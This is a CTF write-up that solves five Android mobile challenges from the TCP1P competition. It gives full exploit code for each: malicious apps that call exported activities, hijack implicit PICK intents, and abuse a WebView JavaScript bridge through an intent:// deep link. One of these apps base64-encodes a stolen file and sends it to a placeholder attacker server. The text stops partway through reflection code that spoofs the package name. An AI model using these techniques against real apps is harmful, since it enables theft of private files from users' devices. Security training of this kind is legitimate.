Mobile Writeups for TCP1P Capture The Flag
Introduction
I participated in the TCP1P CTF with the MAGER team under the nickname “azka.” I successfully completed all of the Mobile Challenges in TCP1P and achieved first blood in several challenges.
Furthermore, I won the opportunity to write a writeup for the Internals challenges in Bahasa.
Android Virtual Device from TCP1P
They created an infrastructure for an Android Virtual Device that will be deployed on a website, allowing participants to simply connect and access it for testing our exploits and obtaining the flag, they upload the project of this AVD on their github repository.
Rules of the challenges
Intention: 356 pts
Challenge apk: challenge.apk
Static Analysis
Like with pentesting on Android, I typically begin by opening my JADX
tools to examine the contents of the APK. The first step is to review the AndroidManifest.xml
file to assess the app’s permissions, activities and what intents did this app use.
On this manifest file, my focuss is on this two activity that having value android:exported="true"
, we know if the application having this configuration on their app we can call this activity on another application that installed on the same device, and there is a class on com.kuro.intention.FlagSender
that take my focuss on.
com.kuro.intention.FlagSender
Within the onCreate method, the app attempts to open a file flag.txt
using openFileInput
and reads its contents into a byte array with buffer. Once the flag is successfully read, it is converted into a string. Then sets the result code to -1
and attaches the flag as an extra to the intent using putExtra
. The setResult method is used to package and send this data. In Android, the setResult
method is used to set a result code and optional data (usually in the form of an Intent
) to be returned to the calling activity when the current activity finishes. It’s commonly employed when one activity launches another and expects a result from it. The calling activity can then handle this result using the onActivityResult
method, gaining access to the result code and any returned data, which allows the calling activity to take actions based on the outcome of the launched activity.
Creating a malicious app
The attack scenario is quite straightforward. We can create another application that start the FlagSender activity intent and retrieves the flag from the extra that returned in the setResult call.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
package com.example.exploitintentionss;
import androidx.annotation.Nullable;
import androidx.appcompat.app.AppCompatActivity;
import android.content.ComponentName;
import android.content.Intent;
import android.os.Bundle;
import android.util.Log;
import android.widget.TextView;
public class MainActivity extends AppCompatActivity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
Intent intent = new Intent();
intent.setComponent(new ComponentName("com.kuro.intention", "com.kuro.intention.FlagSender"));
startActivityForResult(intent, 1337);
}
@Override
protected void onActivityResult(int requestCode, int resultCode, @Nullable Intent data) {
super.onActivityResult(requestCode, resultCode, data);
Log.d("MyApp", "onActivityResult called with requestCode: " + requestCode + ", resultCode: " + resultCode);
if (requestCode == 1337) {
if (resultCode == -1 && data != null) {
String flag = data.getStringExtra("flag");
TextView flagTextView = findViewById(R.id.textView);
flagTextView.setText("Flag: " + flag);
} else {
TextView flagTextView = findViewById(R.id.textView);
flagTextView.setText("Something went wrong: "+ resultCode + data);
}
}
}
}
On the code that i provided to exploit the app was quite simple, we simply start the intent of FlagSender and receive the intent then get the flag from the extra intent and put it on my textView. Because of the FlagSender activity does not call finish(), you need to manually press the back button because of we need to return to our (attacker) activity.
Imagery: 436 pts
Challenge apk: challenge.apk
Static Analysis
I open my jadx and try to load the Imagery.apk
and see the AndroidManifest.xml
, and we just found 1 activity that located on MainActivity
.
On MainActivity
the app use a PICK intent and tried to request a permission to external storage to pick image file.
After the app check and request some permission regarding read/writing from external storage has been set, it proceeds to call the openImage()
function which performs a startActivityForResult
call using an implicit intent with android.intent.action.PICK
.
An android intents is categorized with implicit and explicit intents, and below is the explanation of this two intents:
-
Explicit Intent:
An explicit intent is used when you want to start a specific component within your Android application, such as an activity, service, or broadcast receiver. It’s called “explicit” because you explicitly specify the target component that should be invoked. You typically provide the class name of the component you want to start.
For example, if you have two activities,
com.kuro.intention
andcom.kuro.intention.FlagSender
, and you want to switch fromcom.kuro.intention
tocom.kuro.intention.FlagSender
, you would use an explicit intent. Here’s a basic example in code:1 2 3
Intent intent = new Intent(); intent.setComponent(new ComponentName("com.kuro.intention", "com.kuro.intention.FlagSender")); startActivityForResult(intent);
In this code, the intent explicitly specifies that it should navigate from
com.kuro.intention
tocom.kuro.intention.FlagSender
. -
Implicit Intent:
An implicit intent is used when you want to perform an action that doesn’t require specifying a particular component in your app, but instead, you delegate the task to the Android system. Implicit intents are typically used to request actions that can be performed by other apps on the device, such as sending an email, sharing content, or opening a web page.
With an implicit intent, you provide an action, a category, data (if relevant), and additional information to describe the type of action you want to perform. The Android system then searches for the appropriate component to handle the requested action.
Here’s an example of using an implicit intent to open a web page in a web browser:
1 2 3 4 5
Uri webpage = Uri.parse("https://www.example.com"); Intent intent = new Intent(Intent.ACTION_VIEW, webpage); if (intent.resolveActivity(getPackageManager()) != null) { startActivity(intent); }
In this code, the implicit intent requests the system to perform an
ACTION_VIEW
action on a specific URI, which is a URL. The Android system will find the appropriate web browser application to handle this action.
In summary, explicit intents are used for launching specific components within your app, while implicit intents are used for triggering actions that can be handled by other apps, and the Android system determines the appropriate component to fulfill the request.
Because of the Imagery app using an implicit intent, it can be dangerous cause the attacker can create a new app that can handle the Imagery app to performs a PICK intent to our targeted files which in this CTF is the flag file that located in /data/data/com.kuro.imagery/files/flag.txt
.
As we can see on the requestPermissions
function that call a startActivityForResult
and for sure the result will handled by onActivityResult
and in the code it performs an openInputStream
call from its content provider using data that has been received from the result of whatever the application gonna be pick on startActivityForResult
.
Creating a malicious app
First thing first is we need to add a configuration on our AndroidManifest
to set the priority to 999
so our app can be the first priority if the Imagery
app will be opened, using filter-intent
to set the configuration and set the intent to android.intent.action.PICK
and set the mimeType
to image/*
.
And after that just code on MainActivity
to set the result to our targeted files which is the flag file using setResult
call.
OTA: 491 pts
Challenge apk: challenge.apk
Static Analysis
First thing first checking AndroidManifest.xml
file and see the configuration of this app.
By look at this xml file we know that just MainActivity
that configured and set the exported attribute to true, lets analys the MainActivity
class.
MainActivity Analysis
Before take a look at the MainActivity
class we have to know the UI of this app, when i open the app, this app is trying to download something
Lets take a look at the MainActivity
class
By looking at this activity we know when we click the button of the executeButton it will execute the method at m46lambda$onCreate$0$intechfestccotaMainActivity
There is function that trying to load dex file and will load the class EntryPoint
from it, and after that will get the field from the class called functions
and get the value of the field NAME
from functions
field.
And After that there is function that will check the update that called checkForUpdate
, this function just will show the dialog that said Checking for update...
and after that this function will call m44lambda$checkForUpdate$1$intechfestccotaMainActivity
function.
By looking at m44lambda$checkForUpdate$1$intechfestccotaMainActivity
function we see that this function is checking a url and get the response of this getVerion.php
url and throw it to AnonymousClass1
function.
By looking at the AnonymousClass1
function we see that this function is getting the value of the version that extracted from getVersion
url
By at the end of this function we see that this function is trying to call downloadUpdate
function that will send it by the version from getVersion.php
url.
By looking at this function we see that this function is trying to load the dialog and show Dowonloading update...
, and by that this function is trying to call the m45lambda$downloadUpdate$2$intechfestccotaMainActivity
activity.
By looking at this function we see that this function is trying to access http://ota-mobile.intechfest.cc/
+ version + update.dex
url at version
folder that extracted from getVersion
url.
After that the code is just trying to read inside of the dex file
Creating a malicious app
The app is trying to download the dex file from http://ota-mobile.intechfest.cc/ + version + /update.dex
and will read the dex file at loadDex
function
So now the idea is tried to create a malicious dex file and tried to hosting the dex file and use port forwarding using PCAP Droid
, cause by this we can do port forwarding without rooting the device.
Netsight: 496 pts
Challenge apk: challenge.apk
Static Analysis
As we do the same thing the first thing is to check the AndroidManifest.xml
file and check the activity and the other things.
On this AndroidManifest.xml
we see that the application has following configuration at AndroidManifest.xml
like below:
PickerActivity
set the exported to false, then we cant control this activity on another app.MyContentProvider
set the exported to false but this activity has thegrantUriPermissions
set to true and the file paths are defined via@xml/provider_paths
.WebviewActivity
set the exported to true.MainActivity
set the exported to true.
As we can see the exported that set to true is just WebviewActivity
and MainActivity
, so lets analys this two file first, and my first focuss is on WebviewActivity
.
WebviewActivity Analysis
On the WebviewActivity there is class WebAppInterface
that used @JavascriptInterface
, @JavascriptInterface is an annotation in Android that is used in the context of web views and JavaScript interactions with native Android code. It is used to expose specific methods of a Java object to JavaScript code running in a WebView. This annotation marks a Java method that can be called from JavaScript code within a WebView.
There is showToast
and accessDeeplink
, this method is annotated with @JavascriptInterface
, meaning it can be called from JavaScript code running within a WebView.
- showToast: Method to display a toast message in the Android app from JavaScript in a WebView.
- accessDeeplink: Method to open a deep link (e.g., a URL) in the Android app from JavaScript in a WebView.
and the WebInterface is define as netsight
, so in our javascript will look like this:
1
2
3
4
5
6
7
8
9
function showToast(toast) {
netsight.showToast(toast);
}
function deepLink(link) {
netsight.accessDeeplink(link);
}
deepLink("https://example.com");
The point is we need to access something on this deepLink
function, because we having the capability to suplly an intent and start the activity pointed to by the intent is our access to get an access to non-exported components.
PickerActivity Analysis
We know that PickerActivity is set the exported to false, lets see this activity first.
This activity is using implicit intent that set the intent data from the received intent using getIntent().getData()
and will send it as an extra to startActivityForResult
call, and after that this intent set the Flags to 1 which is granting the FLAG_GRANT_READ_URI_PERMISSION
on the data received from getData. So if we sent a file path from the netsight app we can grant the read access to the files that we want.
We can take a look at @xml/provider_paths.xml
file that defines which directories or files could be shared by the content provider.
1
2
3
4
5
6
7
<?xml version="1.0" encoding="utf-8"?>
<paths>
<root-path name="root" path=""/>
<files-path name="internal_files" path="."/>
<cache-path name="cache" path=""/>
<external-path name="external_files" path="my_files"/>
</paths>
We can see that the internal_files
is vulnerable because it allows arbitrary access to files under current directory ( . ), which is the current directory of the netsight application.
Creating a malicious app
First thing first is to create a malicious javascript that will execute the accessDeeplink
via javascript interface that has been set in challenge app and inside of the accessDeeplink is our intent deelink payload that will start the non-exported PickerActivity.
But as you can see in AndroidManifest.xml
there is no scheme configuration that set the deeplink on there, in android we can use intent://
scheme.
The intent://
scheme is a URI (Uniform Resource Identifier) scheme used in Android to define and handle Intents within apps. Intents are a fundamental component of Android’s inter-application communication system, allowing apps to request actions or services from other apps or to handle specific actions within themselves
. The intent://
scheme provides a way to define an Intent using a URI, making it easy to launch other activities or apps from your own app.
I used this code to generate our intent payload that will open the path of the flag file and start the activity of PickerActivity
.
1
2
3
4
Intent intent = new Intent();
intent.setClassName("com.tcpip.netsight", "com.tcpip.netsight.PickerActivity");
intent.setData(Uri.parse("content://com.tcpip.netsight.FileProvider/internal_files/files/flaggo.txt"));
Log.d("IntentScheme", intent.toUri(Intent.URI_INTENT_SCHEME));
Then just copy value of the intent scheme and paste on our malicious javascript interface.
1
2
3
4
5
6
7
8
9
10
11
12
13
<h1>Netsight Exploit</h1>
<script type="text/javascript">
function showToast(toast) {
netsight.showToast(toast);
}
function deepLink(link) {
netsight.accessDeeplink(link);
}
deepLink("intent://com.tcpip.netsight.FileProvider/internal_files/files/flaggo.txt#Intent;scheme=content;component=com.tcpip.netsight/.PickerActivity;end");
</script>
After that we can create an activity called PickerActivity
on our malicious app, and in the MainActivity
set the webview to our hosted html file.
The PickerActivity
is need for picker that will receive the data from getIntent().getData()
from PickerActivity
on the challenge app and send the data which is the flag data to our hosted server.
MainActivity.java:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
package tcpip.exploit.netsigh;
import androidx.appcompat.app.AppCompatActivity;
import android.content.Intent;
import android.net.Uri;
import android.os.Bundle;
import android.util.Log;
import java.net.URISyntaxException;
public class MainActivity extends AppCompatActivity {
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
Intent intent = new Intent();
intent.setClassName("com.tcpip.netsight", "com.tcpip.netsight.PickerActivity");
intent.setData(Uri.parse("content://com.tcpip.netsight.FileProvider/internal_files/files/flaggo.txt"));
Log.d("IntentScheme", intent.toUri(Intent.URI_INTENT_SCHEME));
intent.setClassName("com.tcpip.netsight", "com.tcpip.netsight.WebviewActivity");
intent.putExtra("url", "http://YourHostedServer/net.html");
startActivity(intent);
}
}
The PickerActivity
will start the activity via implicit intent using action android.intent.action.PICK, so we need to create another activity my activity using same name its called PickerActivity
too and we need to set our AndroidManifest
to set the priority to 999 and set the intent PICK.
PickerActivity.java:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
package tcpip.exploit.netsigh;
import android.os.AsyncTask;
import android.os.Bundle;
import android.util.Base64;
import android.util.Log;
import androidx.appcompat.app.AppCompatActivity;
import androidx.core.app.NotificationCompat;
import java.io.BufferedInputStream;
import java.io.FileNotFoundException;
import java.io.IOException;
import java.io.InputStream;
import java.net.HttpURLConnection;
import java.net.MalformedURLException;
import java.net.URL;
public class PickerActivity extends AppCompatActivity {
private class LongOperation extends AsyncTask<String, Void, String> {
private LongOperation() {
}
@Override
public String doInBackground(String... params) {
try {
Log.e("data", params[0]);
URL url = new URL("http://YourHostedServer/net.html?data=" + params[0]);
try {
HttpURLConnection urlConnection = (HttpURLConnection) url.openConnection();
new BufferedInputStream(urlConnection.getInputStream());
return "";
} catch (IOException e) {
throw new RuntimeException(e);
}
} catch (MalformedURLException e2) {
throw new RuntimeException(e2);
}
}
@Override
public void onPostExecute(String result) {
}
}
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
try {
InputStream i = getContentResolver().openInputStream(getIntent().getData());
byte[] buf = new byte[i.available()];
i.read(buf);
i.close();
Log.e(NotificationCompat.CATEGORY_ERROR, "this is great " + new String(buf));
String encoded = Base64.encodeToString(buf, 0);
Log.e(NotificationCompat.CATEGORY_ERROR, "this is bad" + encoded);
new LongOperation().execute(encoded);
} catch (FileNotFoundException e) {
Log.e(NotificationCompat.CATEGORY_ERROR, "this is bad" + e.getMessage());
} catch (IOException e2) {
throw new RuntimeException(e2);
}
}
}
AndroidManifest.xml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:tools="http://schemas.android.com/tools">
<uses-permission android:name="android.permission.INTERNET" />
<application
android:allowBackup="true"
android:dataExtractionRules="@xml/data_extraction_rules"
android:usesCleartextTraffic="true"
android:fullBackupContent="@xml/backup_rules"
android:icon="@mipmap/ic_launcher"
android:label="@string/app_name"
android:roundIcon="@mipmap/ic_launcher_round"
android:supportsRtl="true"
android:theme="@style/Theme.ExploitNetsigh"
tools:targetApi="31">
<activity
android:name="tcpip.exploit.netsigh.MainActivity"
android:exported="true">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
<activity
android:name="tcpip.exploit.netsigh.PickerActivity"
android:exported="true">
<intent-filter android:priority="99999">
<action android:name="android.intent.action.PICK" />
<category android:name="android.intent.category.DEFAULT" />
<data android:scheme="content" />
</intent-filter>
</activity>
</application>
</manifest>
Internals: 499 pts
Challenge apk: challenge.apk
Given a challenge named Internals
with the following description:
Let’s see how well your knowledge about android internals. Using any type of external library will deduct your points by half.
Hint :
- You do know android is open source right? Then it’s time to read the source code! Especially on getPackageName.
- Do some OSINT on the author’s repositories, maybe you’ll find an interesting project.
From the description given, it seems that we are challenged by the problem setter regarding our knowledge of android internals, and the problem setter also prohibits us from using external libraries to carry out the exploit, even if we use external libraries we will get a point reduction.
Now try to install and open this challenge application first and see how it looks.
It can be seen that this application requests a url that will download payload.dex
and will load the dex.
Static Analysis
Okay after reading the description and content of the application from the question we need to look first at the source code of this internals
application, and found one activity namely MainActivity
only:
Below is the source code of the MainActivity :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
package com.kuro.internals;
import android.app.ProgressDialog;
import android.content.DialogInterface;
import android.os.Bundle;
import android.os.Handler;
import android.os.Looper;
import android.view.View;
import android.widget.Button;
import android.widget.EditText;
import androidx.appcompat.app.AlertDialog;
import androidx.appcompat.app.AppCompatActivity;
import dalvik.system.DexClassLoader;
import java.io.File;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;
import okhttp3.Call;
import okhttp3.Callback;
import okhttp3.OkHttpClient;
import okhttp3.Request;
import okhttp3.Response;
/* loaded from: classes3.dex */
public class MainActivity extends AppCompatActivity {
Button btn_load;
EditText input_url;
/* JADX INFO: Access modifiers changed from: protected */
@Override // androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, androidx.core.app.ComponentActivity, android.app.Activity
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
this.input_url = (EditText) findViewById(R.id.input_url);
Button button = (Button) findViewById(R.id.btn_load);
this.btn_load = button;
button.setOnClickListener(new View.OnClickListener() { // from class: com.kuro.internals.MainActivity.1
@Override // android.view.View.OnClickListener
public void onClick(View v) {
String url = MainActivity.this.input_url.getText().toString();
if (url.isEmpty()) {
AlertDialog.Builder builder = new AlertDialog.Builder(MainActivity.this);
builder.setTitle("Error");
builder.setMessage("URL cannot be empty!");
builder.setCancelable(false);
builder.setPositiveButton("OK", (DialogInterface.OnClickListener) null);
builder.show();
return;
}
MainActivity.this.downloadDex(url);
}
});
}
void downloadDex(String url) {
ProgressDialog pDialog = new ProgressDialog(this);
pDialog.setTitle("Downloading...");
pDialog.setMessage("Please wait...");
pDialog.setCancelable(false);
pDialog.setProgressStyle(0);
pDialog.show();
ExecutorService executor = Executors.newSingleThreadExecutor();
Handler handler = new Handler(Looper.getMainLooper());
executor.execute(new AnonymousClass2(url, handler, pDialog));
}
/* JADX INFO: Access modifiers changed from: package-private */
/* renamed from: com.kuro.internals.MainActivity$2 reason: invalid class name */
/* loaded from: classes3.dex */
public class AnonymousClass2 implements Runnable {
final /* synthetic */ Handler val$handler;
final /* synthetic */ ProgressDialog val$pDialog;
final /* synthetic */ String val$url;
AnonymousClass2(String str, Handler handler, ProgressDialog progressDialog) {
this.val$url = str;
this.val$handler = handler;
this.val$pDialog = progressDialog;
}
@Override // java.lang.Runnable
public void run() {
OkHttpClient client = new OkHttpClient();
Request request = new Request.Builder().url(this.val$url).build();
try {
client.newCall(request).enqueue(new Callback() { // from class: com.kuro.internals.MainActivity.2.1
@Override // okhttp3.Callback
public void onFailure(Call call, IOException e) {
AlertDialog.Builder builder = new AlertDialog.Builder(MainActivity.this);
builder.setTitle("Error");
builder.setMessage(e.getMessage());
builder.setCancelable(false);
builder.setPositiveButton("OK", (DialogInterface.OnClickListener) null);
builder.show();
}
@Override // okhttp3.Callback
public void onResponse(Call call, Response response) throws IOException {
if (!response.isSuccessful()) {
AlertDialog.Builder builder = new AlertDialog.Builder(MainActivity.this);
builder.setTitle("Error");
builder.setMessage(response.message());
builder.setCancelable(false);
builder.setPositiveButton("OK", (DialogInterface.OnClickListener) null);
builder.show();
return;
}
InputStream inputStream = response.body().byteStream();
OutputStream outputStream = MainActivity.this.openFileOutput("payload.dex", 0);
try {
byte[] buffer = new byte[1024];
while (true) {
int len = inputStream.read(buffer);
if (len != -1) {
outputStream.write(buffer, 0, len);
} else {
outputStream.close();
inputStream.close();
AnonymousClass2.this.val$handler.post(new Runnable() { // from class: com.kuro.internals.MainActivity.2.1.1
@Override // java.lang.Runnable
public void run() {
AnonymousClass2.this.val$pDialog.dismiss();
MainActivity.this.loadDex();
}
});
return;
}
}
} catch (Exception e) {
e.printStackTrace();
}
}
});
} catch (Exception e) {
e.printStackTrace();
}
}
}
void loadDex() {
File dexPath = getFileStreamPath("payload.dex");
if (!dexPath.exists()) {
AlertDialog.Builder builder = new AlertDialog.Builder(this);
builder.setTitle("Error");
builder.setMessage("payload.dex not found");
builder.setCancelable(false);
builder.setPositiveButton("OK", (DialogInterface.OnClickListener) null);
builder.show();
return;
}
try {
DexClassLoader dexClassLoader = new DexClassLoader(dexPath.getAbsolutePath(), getFilesDir().getAbsolutePath(), null, getClassLoader());
Class<?> clazz = dexClassLoader.loadClass("com.kuro.payload.Main");
clazz.getMethod("execute", new Class[0]).invoke(null, null);
if (getPackageName().equals("l33t_h4x0r")) {
AlertDialog.Builder builder2 = new AlertDialog.Builder(this);
builder2.setTitle("Gr4tz");
builder2.setMessage("Flag: flag{fake_flag_dont_submit}");
builder2.setCancelable(false);
builder2.setPositiveButton("OK", (DialogInterface.OnClickListener) null);
builder2.show();
}
} catch (Exception e) {
e.printStackTrace();
}
}
}
It can be seen that the application uses the activity_main
layout which can be found in jadx in the Resources/res/layout/activity_main.xml
folder, this application also has 1 button and 1 EditText.
So simply when the user has entered the url into the box and pressed the button, the application will retrieve the url and throw it to the downloadDex
function, if the user does not enter the url into the box it will display a popup URL cannot be empty!
.
downloadDex fn
In the downloadDex
function, we can see that the application will pop up the Downloading...
dialog and will throw it to the AnonymousClass2
function.
AnonymousClass2 fn
Here is the source code of the AnonymousClass2 function
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
public class AnonymousClass2 implements Runnable {
final /* synthetic */ Handler val$handler;
final /* synthetic */ ProgressDialog val$pDialog;
final /* synthetic */ String val$url;
AnonymousClass2(String str, Handler handler, ProgressDialog progressDialog) {
this.val$url = str;
this.val$handler = handler;
this.val$pDialog = progressDialog;
}
@Override // java.lang.Runnable
public void run() {
OkHttpClient client = new OkHttpClient();
Request request = new Request.Builder().url(this.val$url).build();
try {
client.newCall(request).enqueue(new Callback() { // from class: com.kuro.internals.MainActivity.2.1
@Override // okhttp3.Callback
public void onFailure(Call call, IOException e) {
AlertDialog.Builder builder = new AlertDialog.Builder(MainActivity.this);
builder.setTitle("Error");
builder.setMessage(e.getMessage());
builder.setCancelable(false);
builder.setPositiveButton("OK", (DialogInterface.OnClickListener) null);
builder.show();
}
@Override // okhttp3.Callback
public void onResponse(Call call, Response response) throws IOException {
if (!response.isSuccessful()) {
AlertDialog.Builder builder = new AlertDialog.Builder(MainActivity.this);
builder.setTitle("Error");
builder.setMessage(response.message());
builder.setCancelable(false);
builder.setPositiveButton("OK", (DialogInterface.OnClickListener) null);
builder.show();
return;
}
InputStream inputStream = response.body().byteStream();
OutputStream outputStream = MainActivity.this.openFileOutput("payload.dex", 0);
try {
byte[] buffer = new byte[1024];
while (true) {
int len = inputStream.read(buffer);
if (len != -1) {
outputStream.write(buffer, 0, len);
} else {
outputStream.close();
inputStream.close();
AnonymousClass2.this.val$handler.post(new Runnable() { // from class: com.kuro.internals.MainActivity.2.1.1
@Override // java.lang.Runnable
public void run() {
AnonymousClass2.this.val$pDialog.dismiss();
MainActivity.this.loadDex();
}
});
return;
}
}
} catch (Exception e) {
e.printStackTrace();
}
}
});
} catch (Exception e) {
e.printStackTrace();
}
}
}
After reading the source code of the AnonymousClass2
function, we can see that it tries to download the dex file from the url we provide and save it with the file name payload.dex
which will then be redirected to the loadDex()
function.
loadDex fn
And this is where the interesting part comes in and how we will create the malicious dex.
Which in this function first checks whether there is a payload.dex
file in our application files folder, it is necessary to note that every file loaded by Android Studio is in the /data/data/[apk package name]/files
folder, so in this code the challenge application will first check whether the payload.dex
file is there or not in our files folder.
Furthermore, when the payload.dex
file is in the files folder, payload.dex
will be loaded with DexClassLoader which will be checked using Reflection to load the class in the dex file, which in this code the challenge application tries to load the class from the com.kuro.payload
with the class name Main
and also take the method of execute
to run in the challenge application, after successfully loadClass from payload.dex
then will check the package name of the challenge application which is currently is com.kuro.internals
has changed to a new package name or not, namely l33t_h4x0r
, when this condition is met the application will display the flag.
After successfully understanding how the flow of this application runs, the author already has an idea of how to make the malicious dex so that when the dex that the author makes later can change the packageName of the challenge application from com.kuro.internals
to l33t_h4x0r
.
From the hint given by the question maker, the question maker asks us to do osint in his digithub account.
Finally the author found his github account and found an interesting repository in it, namely APKKiller, in this repository the creator of the problem tells that by using Reflection
we can read and modify the internal classes and fields.
Trial And Error with Reflection
After reading and doing trial and error about Reflection
the author found a way that we can use the class from ActivityThread to change the packageName to the packageName we want.
Try to create a new project in Android Studio
with the following setup:
-
Select
Empty Views Activity
and then Next. -
Make the name whatever you want, as long as the package name is
com.kuro.payload
because in the challenge application this package will be loaded, then chooseJava
as the programming language, becauseReflection
we can use in java. - After that click
Finish
and wait for android studio to prepare the setup. -
After everything is done, we create a new class with the name
Main
because the challenge application will load the class from our package with the nameMain
by right-clicking on thecom.kuro.payload
package then clickNew -> Java Class
. -
Enter the name
Main
and enter. - We will use
MainActivity
activity first for debugging.
So the first step is to first find the field of packageName and then we set it to the new value
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
package com.kuro.payload;
import androidx.appcompat.app.AppCompatActivity;
import android.os.Bundle;
import android.util.Log;
import java.lang.reflect.Field;
public class MainActivity extends AppCompatActivity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
try {
Class<?> clazz = Class.forName("android.app.ActivityThread");
Field[] fs = clazz.getDeclaredFields();
for(int i = 0; i < fs.length; i++) {
Log.e("Field" + String.valueOf(i), fs[i].getName());
}
} catch (Exception e) {
e.printStackTrace();
}
}
}
Try using the code above and run it, then try to see the logcat because I put Log.e
there for debugging and see the contents of the field from ActivityThread
.
And get the field contents of the ActivityThread
class.
As hinted by the question creator, getPackageName is found in mPackageInfo.
After spending a lot of time here, I finally found that in the mBoundApplication
fields there is an info
field.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
package com.kuro.payload;
import androidx.appcompat.app.AppCompatActivity;
import android.os.Bundle;
import android.util.Log;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
public class MainActivity extends AppCompatActivity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
try {
Class<?> clazz = Class.forName("android.app.ActivityThread");
Method currentActivityThread = clazz.getDeclaredMethod("currentActivityThread");
currentActivityThread.setAccessible(true);
Object activityThread = currentActivityThread.invoke(null);
Field[] fields = clazz.getDeclaredFields();
for(int i = 0; i < fields.length; i++) {
Log.e("Field" + String.valueOf(i), fields[i].getName());
}
Field mBoundApplicationField = clazz.getDeclaredField("mBoundApplication");
mBoundApplicationField.setAccessible(true);
Object mBoundApplication = mBoundApplicationField.get(activityThread);
Field[] mBoandFields = mBoundApplication.getClass().getDeclaredFields();
for(int i = 0; i < fields.length; i++) {
Log.e("mBoandFields" + String.valueOf(i), mBoandFields[i].getName());
}
} catch (Exception e) {
e.printStackTrace();
}
}
}
And finally we found the field of mPackageName
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
package com.kuro.payload;
import androidx.appcompat.app.AppCompatActivity;
import android.os.Bundle;
import android.util.Log;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
public class MainActivity extends AppCompatActivity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
try {
Class<?> clazz = Class.forName("android.app.ActivityThread");
Method currentActivityThread = clazz.getDeclaredMethod("currentActivityThread");
currentActivityThread.setAccessible(true);
Object activityThread = currentActivityThread.invoke(null);
Field[] fields = clazz.getDeclaredFields();
for(int i = 0; i < fields.length; i++) {
Log.e("Field" + String.valueOf(i), fields[i].getName());
}
Field mBoundApplicationField = clazz.getDeclaredField("mBoundApplication");
mBoundApplicationField.setAccessible(true);
Object mBoundApplication = mBoundApplicationField.get(activityThread);
// Field[] mBoundFields = mBoundApplication.getClass().getDeclaredFields();
// for(int i = 0; i < fields.length; i++) {
// Log.e("mBoundFields" + String.valueOf(i), mBoundFields[i].getName());
// }
Field loadedApkInfoField = mBoundApplication.getClass().getDeclaredField("info");
loadedApkInfoField.setAccessible(true);
Object loadedApkInfo = loadedApkInfoField.get(mBoundApplication);
Field[] apkInfoFields = loadedApkInfo.getClass().getDeclaredFields();
for(int i = 0; i < fields.length; i++) {
Log.e("apkInfoFields" + String.valueOf(i), apkInfoFields[i].getName());
}
} catch (Exception e) {
e.printStackTrace();
}
}
}
After getting the correct field, now just change the value of mPackageName to l33t_h4x0r
with the following code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
package com.kuro.payload;
import androidx.appcompat.app.AppCompatActivity;
import android.os.Bundle;
import android.util.Log;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
public class MainActivity extends AppCompatActivity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
try {
// Get the current ActivityThread instance
Class<?> activityThreadClass = Class.forName("android.app.ActivityThread");
Method currentActivityThread = activityThreadClass.getDeclaredMethod("currentActivityThread");
currentActivityThread.setAccessible(true);
Object activityThread = currentActivityThread.invoke(null);
// Get the loaded package info
Field mBoundApplicationField = activityThreadClass.getDeclaredField("mBoundApplication");
mBoundApplicationField.setAccessible(true);
